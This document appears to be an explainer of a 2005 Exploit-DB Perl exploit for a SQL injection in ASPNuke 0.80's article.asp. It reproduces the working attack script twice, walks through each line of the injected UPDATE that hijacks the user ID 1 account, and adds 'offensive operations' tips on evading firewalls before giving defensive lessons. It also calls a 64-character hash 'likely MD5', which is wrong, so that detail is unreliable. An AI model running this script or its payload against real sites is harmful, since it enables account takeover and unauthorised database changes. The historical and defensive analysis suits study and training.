ASPNuke 0.80 'article.asp' SQL Injection Exploit Explained

What this paper is

This paper details a vulnerability in ASPNuke version 0.80, specifically within the article.asp script. The vulnerability is a classic SQL injection flaw that allows an attacker to modify user credentials, specifically the username and password for user ID 1, by injecting malicious SQL commands into the articleid parameter. The provided exploit script automates this process.

Simple technical breakdown

The ASPNuke application, when processing requests for articles, uses the articleid parameter to fetch data from a database. It appears that the application does not properly sanitize or validate the input provided in this parameter. An attacker can exploit this by sending a specially crafted articleid value that includes SQL commands. These commands are then executed by the database, allowing the attacker to alter existing data. In this specific exploit, the attacker targets the tbluser table to change the password and username of the user with userID 1.

Complete code and payload walkthrough

The provided Perl script is designed to automate the SQL injection attack.

#!/usr/bin/perl
######################################################################################
#        T r a p - S e t   U n d e r g r o u n d   H a c k i n g   T e a m
######################################################################################
# EXPLOIT FOR: ASPNuke ASP Portal
#
# Expl0it By: mh_p0rtal@Yahoo.com
#
# Discovered By: Trap-Set Underground Hacking Team (oil_KarchacK)
#
######################################################################################
#  GR33tz T0 ==>    Alpha_programmer  --  oil_Karchack  --  the_CephaleX  -- Str0ke
#  And Iranian Security & Technical Sites:
#  IHS TeaM , alphaST , Shabgard Security Team  , Emperor Hacking Team  ,
#  Crouz Security Team , Hat-squad security team  & Simorgh-ev Security Team
######################################################################################
use IO::Socket;

if (@ARGV < 1)
{
 print "\n==========================================\n";
 print " \n     -- Exploit By mh_p0rtal --\n\n";
 print "     Trap-Set Underground Hacking Team      \n\n";
 print "         Usage:ASPNuke.pl <T4rg3t> \n\n";
 print "==========================================\n\n";
 print "Examples:\n\n";
 print "   ASPNuke.pl www.Site.com \n";
 exit();
}

my $host = $ARGV[0];
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );

unless ($remote) { die "C4nn0t C0nn3ct to $host" }

print "[+]C0nn3cted\n";

$addr = "GET /module/article/article/article.asp?articleid=1%20;%20update%20tbluser%20SET%20password='bf16c7ec063e8f1b62bf4ca831485ba0da56328f818763ed34c72ca96533802c'%20,%20username='trapset'%20where%20userID=1%20-- HTTP/1.0\n";
$addr .= "Host: $host\n\n\n\n";
print "\n";
print $remote $addr;
print "[+]Wait...";
sleep(5);
print "Wait For Changing Password ...\n";

print "[+]OK , Now Login With : \n";
print "Username: trapset\n";
print "Password: trapset\n\n";


# milw0rm.com [2005-06-27]

• #!/usr/bin/perl: This is the shebang line, indicating that the script should be executed using the Perl interpreter.
• Header Comments: These lines contain information about the exploit, including the team name ("Trap-Set Underground Hacking Team"), the exploit author ("mh_p0rtal"), and the discoverer. They also include greetings and acknowledgments.
• use IO::Socket;: This line imports the IO::Socket module, which is necessary for creating network connections, specifically TCP sockets.
• Argument Handling (if (@ARGV < 1)):
  • This block checks if any command-line arguments were provided.
  • @ARGV is a special Perl array that holds the command-line arguments passed to the script.
  • If @ARGV is empty (meaning no arguments were given), the script prints a usage message, including the author, team, and how to run the exploit (ASPNuke.pl <T4rg3t>), and then exits.
• Target Host Assignment (my $host = $ARGV[0];):
  • If at least one argument is provided, the first argument ($ARGV[0]) is assigned to the $host variable. This is expected to be the target website's domain name or IP address.
• Socket Creation (my $remote = IO::Socket::INET->new (...)):
  • IO::Socket::INET->new attempts to create a new TCP/IP socket connection.
  • Proto => "tcp" specifies the protocol as TCP.
  • PeerAddr => $host sets the remote address (the target host).
  • PeerPort => "80" sets the remote port to 80, the standard port for HTTP.
• Connection Check (unless ($remote) { die "C4nn0t C0nn3ct to $host" }):
  • This checks if the socket connection was successful.
  • If $remote is undefined (meaning the connection failed), the script prints an error message and exits.
• Connection Confirmation (print "[+]C0nn3cted\n";):
  • If the connection is successful, it prints a confirmation message.
• HTTP Request Construction ($addr = "GET /module/article/article/article.asp?articleid=1%20;%20update%20tbluser%20SET%20password='bf16c7ec063e8f1b62bf4ca831485ba0da56328f818763ed34c72ca96533802c'%20,%20username='trapset'%20where%20userID=1%20-- HTTP/1.0\n";):
  • This is the core of the exploit. It constructs a raw HTTP GET request.
  • GET /module/article/article/article.asp?articleid=1: This part requests the article.asp script within the /module/article/article/ path. The articleid=1 is the initial, seemingly legitimate, parameter.
  • %20: This is the URL-encoded space character.
  • ;: This is a SQL statement separator. It allows multiple SQL commands to be executed in sequence.
  • update tbluser SET password='bf16c7ec063e8f1b62bf4ca831485ba0da56328f818763ed34c72ca96533802c' , username='trapset' where userID=1: This is the malicious SQL command.
    • update tbluser: Targets the tbluser table.
    • SET password='bf16c7ec063e8f1b62bf4ca831485ba0da56328f818763ed34c72ca96533802c': Sets the password column for the specified user. The string 'bf16c7ec063e8f1b62bf4ca831485ba0da56328f818763ed34c72ca96533802c' is likely a hash of the new password.
    • , username='trapset': Sets the username column to 'trapset'.
    • where userID=1: Specifies that the update should only apply to the row where userID is 1.
  • %20--: Another URL-encoded space followed by --. In SQL, -- signifies the start of a comment. This is crucial for commenting out any remaining part of the original SQL query that the application might have appended, preventing syntax errors.
  • HTTP/1.0\n: Specifies the HTTP protocol version and ends the request line.
• Host Header ($addr .= "Host: $host\n\n\n\n";):
  • This appends the Host header to the HTTP request, which is required by HTTP/1.1 and often by HTTP/1.0 for virtual hosting. The extra newlines (\n\n\n\n) are used to properly terminate the HTTP headers.
• Sending the Request (print $remote $addr;):
  • The constructed HTTP request ($addr) is sent to the target server over the established socket connection.
• Waiting and Feedback (print "[+]Wait..."; sleep(5); print "Wait For Changing Password ...\n";):
  • The script prints a "Wait..." message, pauses for 5 seconds using sleep(5), and then prints another message indicating it's waiting for the password change. This pause is likely to allow the server-side script to process the request and execute the SQL query.
• Result Notification (print "[+]OK , Now Login With : \n"; print "Username: trapset\n"; print "Password: trapset\n\n";):
  • After the wait, the script informs the user that the operation is complete and provides the new login credentials: username trapset and password trapset.

Mapping list:

• #!/usr/bin/perl -> Script interpreter declaration.
• use IO::Socket; -> Enables network socket operations.
• if (@ARGV < 1) block -> Handles missing command-line arguments, prints usage.
• my $host = $ARGV[0]; -> Stores the target hostname from input.
• IO::Socket::INET->new (...) -> Establishes a TCP connection to the target on port 80.
• unless ($remote) { die ... } -> Checks if the connection was successful.
• $addr = "GET /module/article/article/article.asp?articleid=1%20;%20update%20tbluser%20SET%20password='bf16c7ec063e8f1b62bf4ca831485ba0da56328f818763ed34c72ca96533802c'%20,%20username='trapset'%20where%20userID=1%20-- HTTP/1.0\n"; -> Constructs the malicious HTTP GET request with the SQL injection payload.
  • articleid=1%20;%20update%20tbluser%20SET%20password='...'%20,%20username='trapset'%20where%20userID=1%20-- -> The core SQL injection payload.
    • articleid=1 -> Base parameter value.
    • %20;%20 -> URL-encoded space and SQL statement separator.
    • update tbluser SET password='...' , username='trapset' where userID=1 -> The SQL command to modify user credentials.
    • %20-- -> URL-encoded space and SQL comment to truncate the original query.
• $addr .= "Host: $host\n\n\n\n"; -> Appends the Host header and terminates HTTP headers.
• print $remote $addr; -> Sends the crafted HTTP request to the server.
• sleep(5); -> Pauses execution for 5 seconds.
• print "Username: trapset\n"; print "Password: trapset\n\n"; -> Informs the user of the new credentials.

Practical details for offensive operations teams

• Required Access Level: Network access to the target web server on port 80 (HTTP). No prior authentication or local access is required.
• Lab Preconditions:
  • A vulnerable ASPNuke 0.80 installation.
  • A web server configured to host the ASPNuke application.
  • A database (likely MS Access or SQL Server, common for ASP applications of that era) accessible by the web server.
  • A user with userID = 1 in the tbluser table.
• Tooling Assumptions:
  • Perl interpreter installed on the attacker's machine.
  • Basic network connectivity.
• Execution Pitfalls:
  • Network Latency/Server Load: The sleep(5) might be insufficient if the server is slow or heavily loaded, or too long if the server is very fast. Adjusting this delay might be necessary.
  • Firewalls/WAFs: Modern firewalls or Web Application Firewalls (WAFs) might detect the SQL injection pattern, especially the -- comment or the UPDATE statement. URL encoding might need to be varied, or the payload obfuscated.
  • Application Path/Structure: The exploit assumes the article.asp script is located at /module/article/article/. If the application structure is different, the path needs to be adjusted.
  • Database Schema: The exploit relies on the tbluser table having userID, username, and password columns. If the schema has changed, the exploit will fail.
  • Password Hashing: The exploit directly injects a plaintext password hash ('bf16c7ec063e8f1b62bf4ca831485ba0da56328f818763ed34c72ca96533802c'). This implies the application uses a specific hashing algorithm or stores plaintext passwords (less likely but possible for older systems). If the application uses a different hashing algorithm, the attacker would need to provide a hash compatible with that algorithm. The exploit uses a hardcoded hash for 'trapset', which is likely a MD5 hash of 'trapset' or a similar common password.
  • Error Handling: The exploit doesn't check the server's response for success or failure. A more robust exploit would parse the HTTP response to confirm the update.
  • Targeted User ID: The exploit targets userID=1. If this user doesn't exist or has different privileges, the exploit might not achieve the desired outcome.
• Telemetry:
  • Network Traffic: Outbound HTTP GET request to the target IP/port 80. The request URI will contain the SQL injection payload.
  • Server Logs: Web server logs will show the incoming GET request. Database logs (if enabled and accessible) might show the UPDATE statement being executed.
  • Application Behavior: The target application might exhibit unusual behavior if the SQL injection fails (e.g., errors displayed to the user, no article displayed). If successful, the login credentials for userID=1 will change.

Where this was used and when

This exploit targets ASPNuke version 0.80, which was released around 2005. SQL injection vulnerabilities were extremely common in web applications during the early to mid-2000s. This specific exploit was published on Exploit-DB in June 2005. It's highly probable that similar SQL injection vulnerabilities in ASPNuke and other ASP-based applications were actively exploited by attackers in the mid-2000s for unauthorized access and data modification.

Defensive lessons for modern teams

• Input Validation and Sanitization: This is the most critical lesson. Never trust user input. All data received from external sources (HTTP parameters, form fields, etc.) must be thoroughly validated and sanitized before being used in database queries.
  • Parameterized Queries/Prepared Statements: Use parameterized queries (or prepared statements) provided by the database API. This separates the SQL code from the data, preventing user input from being interpreted as SQL commands.
  • Whitelisting: Only allow known-good characters or patterns in input fields.
  • Blacklisting (less effective): Avoid relying solely on blacklisting (removing known-bad characters), as attackers can often find ways to bypass it.
• Principle of Least Privilege: The web application's database user should have only the minimum necessary permissions. It should not have the ability to UPDATE or DELETE critical tables like user credentials unless absolutely required for its core functionality, and even then, with strict controls.
• Secure Coding Practices: Developers must be trained on common web vulnerabilities like SQL injection and how to prevent them.
• Web Application Firewalls (WAFs): While not a complete solution, WAFs can provide a layer of defense by detecting and blocking known attack patterns. However, they can be bypassed.
• Regular Patching and Updates: Keep all software, including web applications and their underlying frameworks (like ASP), updated to the latest secure versions. ASPNuke 0.80 is ancient and unsupported.
• Error Handling: Configure web applications to display generic error messages to users, rather than detailed technical errors that could reveal information about the database schema or query structure. Log detailed errors server-side for debugging.
• Password Security: Modern applications should use strong, modern hashing algorithms (like Argon2, bcrypt, or scrypt) with salting for storing passwords, not simple MD5 hashes or plaintext.

ASCII visual (if applicable)

This exploit is a direct client-to-server interaction, so a complex architecture diagram isn't strictly necessary. However, we can visualize the flow of the malicious request:

+-----------------+      HTTP GET Request      +-----------------+
| Attacker's Host | -------------------------> | Target Web Server |
| (Perl Script)   | (with SQL Injection)       | (ASPNuke 0.80)  |
+-----------------+                            +--------+--------+
                                                          |
                                                          | Executes SQL
                                                          v
                                                 +-----------------+
                                                 | Database Server |
                                                 | (tbluser table) |
                                                 +-----------------+
                                                          |
                                                          | Updates Credentials
                                                          v
                                                 +-----------------+
                                                 | Attacker's Host |
                                                 | (Login Success) |
                                                 +-----------------+

Source references

• PAPER ID: 1070
• PAPER TITLE: ASPNuke 0.80 - 'article.asp' SQL Injection
• AUTHOR: mh_p0rtal
• PUBLISHED: 2005-06-27
• KEYWORDS: ASP,webapps
• PAPER URL: https://www.exploit-db.com/papers/1070
• RAW URL: https://www.exploit-db.com/raw/1070

Original Exploit-DB Content (Verbatim)

#!/usr/bin/perl
######################################################################################
#        T r a p - S e t   U n d e r g r o u n d   H a c k i n g   T e a m
######################################################################################
# EXPLOIT FOR: ASPNuke ASP Portal
#
# Expl0it By: mh_p0rtal@Yahoo.com
#
# Discovered By: Trap-Set Underground Hacking Team (oil_KarchacK)
#
######################################################################################
#  GR33tz T0 ==>    Alpha_programmer  --  oil_Karchack  --  the_CephaleX  -- Str0ke
#  And Iranian Security & Technical Sites:
#  IHS TeaM , alphaST , Shabgard Security Team  , Emperor Hacking Team  ,
#  Crouz Security Team , Hat-squad security team  & Simorgh-ev Security Team
######################################################################################
use IO::Socket;

if (@ARGV < 1)
{
 print "\n==========================================\n";
 print " \n     -- Exploit By mh_p0rtal --\n\n";
 print "     Trap-Set Underground Hacking Team      \n\n";
 print "         Usage:ASPNuke.pl <T4rg3t> \n\n";
 print "==========================================\n\n";
 print "Examples:\n\n";
 print "   ASPNuke.pl www.Site.com \n";
 exit();
}

my $host = $ARGV[0];
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );

unless ($remote) { die "C4nn0t C0nn3ct to $host" }

print "[+]C0nn3cted\n";

$addr = "GET /module/article/article/article.asp?articleid=1%20;%20update%20tbluser%20SET%20password='bf16c7ec063e8f1b62bf4ca831485ba0da56328f818763ed34c72ca96533802c'%20,%20username='trapset'%20where%20userID=1%20-- HTTP/1.0\n";
$addr .= "Host: $host\n\n\n\n";
print "\n";
print $remote $addr;
print "[+]Wait...";
sleep(5);
print "Wait For Changing Password ...\n";

print "[+]OK , Now Login With : \n";
print "Username: trapset\n";
print "Password: trapset\n\n";


# milw0rm.com [2005-06-27]